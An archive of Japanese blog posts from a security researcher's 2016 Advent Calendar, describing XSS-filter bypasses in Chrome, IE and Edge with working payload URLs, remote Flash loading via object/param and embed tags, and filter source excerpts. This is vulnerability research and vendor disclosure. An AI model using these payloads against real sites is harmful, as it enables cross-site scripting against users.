2016/12/27

ブラウザのXSS保護機能をバイパスする(12)

English version is here: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html

もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!

怒涛のブラウザのXSS保護機能のバイパスネタです。

昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。

今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。

ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。

HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
bool HTMLParamElement::isURLParameter(const String& name) {
  return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||
         equalIgnoringCase(name, "src");
}
Flashをロードするとき、embed src=object data=を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。
実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=movie value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=src value=https://l0.cm/xss.swf>
ただし、XSS Auditorにブロックされるname=dataでは、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。

さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。

こちらがその方法です。 name属性の値をurlという文字列に変えただけです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
または、codeとしても動くようです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
これらの値は、HTMLObjectElement.cppを見て発見しました。
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

srcmovieなどと一緒に、codeurlも書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。

シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。

ちなみに、バイパスは以下で報告済みです。

便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。

以上です!

2016/12/07

ブラウザのXSS保護機能をバイパスする(11)

勝手な使命感に駆られて書く脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事、3回目の登場です。

今日も相変わらずXSSフィルターをバイパスします。
今回は先月(2016年11月)の更新で塞がれたIEのXSSフィルターのバイパスを簡単に紹介します。

=================================
追記:
Windows 8.1だとまだ動くのを確認しました。
どうも、塞がれたのはWindows 10だけみたいです。ご活用ください!
=================================

前回の記事に引き続き、今回も文字列リテラルで起こるバイパスです。
前回は任意のスクリプト実行とまではいかない部分的なバイパスでしたが、今回のは完全かつとてもシンプルに空いていたバイパスです。こちらです。

https://vulnerabledoma.in/xss_js?q="i\u006E+alert(1)// (X-XSS-Protection:0 にして試すにはこちら)
<script>var q=""i\u006E alert(1)//"</script>
inをUnicodeエスケープして、i\u006Eと表記することでバイパスできていました。

モダンなブラウザでは、予約語をUnicodeエスケープすることは禁止されていますが、 IEでは禁止されておらず、inと同じ扱いになります。

この件は、@Jxck_さん主催の次世代Webカンファレンスに参加中、一週間後に迫るCODE BLUEの資料を、最初に作ったものが諸事情で公開できなくなってしまっため、一からいそいそと作っていたとき、突然気付いたものでした。その時のツイートです:

XSSフィルターの正規表現を眺めていたところ、他の文字列リテラル中で起きる禁止文字列はUnicodeエスケープが一緒に記述されているのに対し、inだけUnicodeエスケープが無いことに気付き、試したところすんなり動いたというかんじでした。

ちなみに、MicrosoftはこれまでXSSフィルターのバイパスを脆弱性という扱いで修正していましたが、最近方針の変更があり、今後はセキュリティ修正扱いにしないことにしたとのことで、11月の更新プログラムを適用するとバイパスは塞がれるものの、アドバイザリの中ではこの変更については説明されていません。なお、謝辞には僕の名前がありますが、これら(CVE-2016-7227 と CVE-2016-7239)はバイパスとは別のバグです。こちらもまた機会を改めて紹介したいと思います。

バイパスは脆弱性ではないというのはその通りだと思いますし、もともとそう考えていたので、いちいち許可をとらずにブログに書いていましたが、今後、報告中のものも含め公開してもよいという回答を正式に頂いたので、また遠慮なくブログに書かせてもらいます。

以上、脆弱性"&'<<>\ Advent Calendar 2016 7日目の記事でした。
明日も書く人が決まっていないみたいなので、どなたか書いてください!

2016/12/05

ブラウザのXSS保護機能をバイパスする(10)

脆弱性"&'<<>\ Advent Calendar 2016 の5日目の記事です!

今朝、ブラウザで動作を試しながらECMA-262の仕様を読んでいたところ、IEの奇妙な動作を発見し、それがXSSフィルターのバイパスに使えることがわかりました。
完全なバイパスではありませんが、興味深いものなので共有します。

XSSフィルターは、単純な反射型のXSSに加えて、文字列リテラル中で起こるXSSも防止しようとします。自分の過去の資料で、文字列リテラルの文脈で遮断される文字列の一部を紹介していますので、以下に貼り付けます。



今回注目したいのがこの中のvalueOf=です。この資料をまとめたとき、valueOf=をなぜ遮断する必要があるのかよくわかりませんでした。

確かに、あらかじめ定義された関数であれば、次のような形式で、フィルターが反応する()を使わずに関数呼び出しができます。

https://vulnerabledoma.in/xss_js?q="%3BvalueOf=alert%3B~window//&xss=0
";valueOf=alert;~window//
ただ、このくらい不自由な呼び出しは、以下のような、イベントへの代入が遮断されないことから、許容されていると考えていました。

https://vulnerabledoma.in/xss_js?q="%3Bonload=alert//
";onload=alert//
ちなみに、このvalueOf=は、Eduardoさん・Davidさん発見の以下のベクタとは無関係です。

https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14
"+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}//
ご覧の通り、お二人のベクタは=を使っていません。自分の資料の中には書いていないのですが、これらは、";{valueOf:";{toString:といった文字列を遮断する別の正規表現が存在しており、そっちで遮断されます。

試行錯誤した結果、valueOf=の場合は、イベントへの代入の場合よりも呼び出しが許される関数が多く、例えば、特定要素へのclickなどのメソッド呼び出しがIE8以下のドキュメントモードのページに対してできるようなので、このあたりの手法を止めたいのかも、という風に勝手に解釈しました。(本当のところを知っている人はぜひ教えてください!)

以下のページにIEでアクセスして、"go"ボタンを押すと、"important action"というボタンがvalueOf=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/valueOf.html

このとき、valueOf=は遮断して、なぜtoString=は遮断しないのだろうと思ったのですが、toStringに変えて試してみると動きませんでした。普通なら動くべきだと思いますが、IEならそういうおかしなことも起こるだろうと考えて今日まであまり気にしないできました。

さて、ここから、今回のバイパスの話を始めます。
今朝、IEでも、toStringへの代入からclickなどのメソッド呼び出しができることを発見しました。

なんと、IEはtoString=では代入に失敗するのに、var toString=だと成功するようなのです。こうすると、alertが呼ばれます。
var toString=alert;~window

これを利用して、valueOfと同じ要領でclickを呼び出そうとすると、うまくいきました。
以下にIEでアクセスして、goボタンを押すと、 "important action"というボタンがvar toString=opener.button.clickを経由してクリックされるのが確認できます。

https://l0.cm/xssfilter_bypass/toString.html

ほとんど使う場面はないかと思いますが、せっかくtoString=の面白い動作に気付いたので、部分的でもフィルターのバイパスに繋がることを証明してみました。valueOf=を止めている理由の推測が正しければ、こちらも本来なら遮断したい動作ではないかと思います。

以上です!

脆弱性"&'<<>\ Advent Calendar 2016、明日は…、まだ登録されてないっぽいです!誰か書いてください!

2016/12/01

ブラウザのXSS保護機能をバイパスする(9)

脆弱性"&'<<>\ Advent Calendar 2016 の1日目の記事です!

毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。

Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。
{<([^ \t]+?:)?a.*?hr{e}f}

{<([^ \t]+?:)?OPTION[ /+\t].*?va{l}ue[ /+\t]*=}

{<([^ \t]+?:)?TEXTA{R}EA[ /+\t>]}

{<([^ \t]+?:)?BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}

[...]
このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。

https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。

ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。
それでも、Flashをロードしてしまっているのはなぜでしょうか?

おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。script src=の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、embed src=が動作してしまうという寸法です。

なお、遮断自体は行ったことになるため、X-XSS-Protection:1;mode=blockのページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。

以上、ご活用ください!
脆弱性"&'<<>\ Advent Calendar 2016 、明日は @kusano_k さんです!